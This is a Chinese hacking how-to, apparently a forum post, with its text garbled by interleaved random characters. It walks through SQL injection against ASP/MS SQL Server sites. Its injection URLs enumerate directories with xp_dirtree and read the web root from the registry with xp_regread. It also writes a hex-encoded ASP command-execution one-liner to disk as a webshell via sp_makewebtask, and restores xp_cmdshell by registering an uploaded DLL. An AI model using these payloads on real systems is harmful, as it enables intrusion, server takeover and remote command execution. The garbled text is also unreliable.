好,我们exec master..xp_dirtree'd:/test'
a+ h0 R. G/ L; R+ n: d6 n, |假设我们在test里有两个文件夹test1和test2在test1里又有test3
& v6 g* k& Z. }. `结果显示
: T9 m6 J3 r5 \6 S0 X( |! ~5 `$ ]! i2 B. u8 f Q& Y4 j
subdirectory depth! D0 k. H7 ?+ X. N, |& ?
test1 1
( F! Y8 A4 u" Q9 E U' Ktest3 2
' d& |& ~: _6 Z/ F8 N7 o5 r9 Ttest2 1
; G( _+ d. R& o/ W- H8 t+ R( J
3 {' ]- Y5 ^% s哈哈发现没有那个depth就是目录的级数& G% G$ N7 p: w, ~8 Z2 V( L) E. }6 F
ok了,知道怎么办了吧
! j' i8 J$ D, V8 d! P, ]1 l& }: }+ `
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- ; i C8 k2 r3 ?9 z$ k; ?# A
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- $ V0 y4 W- m/ `( \* ^. E) L
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-: g; T- D- `& F0 L+ E! C
( \2 M: s% `+ y, u! z7 e只要加上id=1,就是第一级目录 。9 E9 U* V+ l, \4 I8 B
, Z. c4 _$ u: y# X
" B- d* t+ L2 E, Q ^通过注册表读网站路径:- R0 L. r: `, P* N
+ n" h' C1 ~0 ]+ s& S4 l$ C6 l! P3 S. C1.;create table [dbo].[cyfd] ([gyfd][char](255));! h% S7 U) Y# N/ e3 l7 Q; X7 p
+ i3 ?: X/ T4 g; Z6 Z2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--! w5 S! X, N% v
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--) k0 m& v1 D# r
9 P4 I2 M5 e3 g3 t4 F' h/ V3.and 1=(select count(*) from 临时表 where 临时字段名>1)
3 x5 ~3 k& |6 E" Z* ^; C7 Gand 1=(select count(*) from cyfd where gyfd > 1) 5 p$ y6 v, S6 W/ V- Q- I9 ?
这样IE报错,就把刚才插进去的Web路径的值报出来了3 U+ M$ }8 Y3 E( a
$ t L+ o* L+ @9 k4.drop table cyfd;-- 删除临时表
1 o% c* h% ~& H) s: j" c
) M( \+ Q$ L" _( p) Z+ ` B获得webshell方法:9 y8 S: B0 }6 F, a' d, v
1.create table cmd (a image)-- \**cmd是创建的临时表, v, J( E! L5 ]' E' J
* U& y/ |; `3 G3 M, G+ u2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
; N# x- t8 u8 ?' T
3 o* ]$ k& e7 j6 {! W+ j# e2 M
" I* H7 ?. b# g4 ]6 @- H4 A3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
3 C9 p+ f& H3 \. x2 K5 f' nEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'* W) w' t$ J7 U8 R/ ~
! N2 S( c8 u9 A% ^
4.drop table cmd;-- 删除cmd临时表
6 @8 o2 a/ W( r, G. q
. w- w8 a/ N2 T1 b$ _恢复xp_cmdshell方法之一:
' i0 n+ I( g+ }我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:1 Z# V! ^1 l5 M* K1 e& h
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
( T- t, j/ q* S; ]2 W恢复,支持绝对路径的恢复哦。:)
$ n# z" q/ n* W2 ~; s |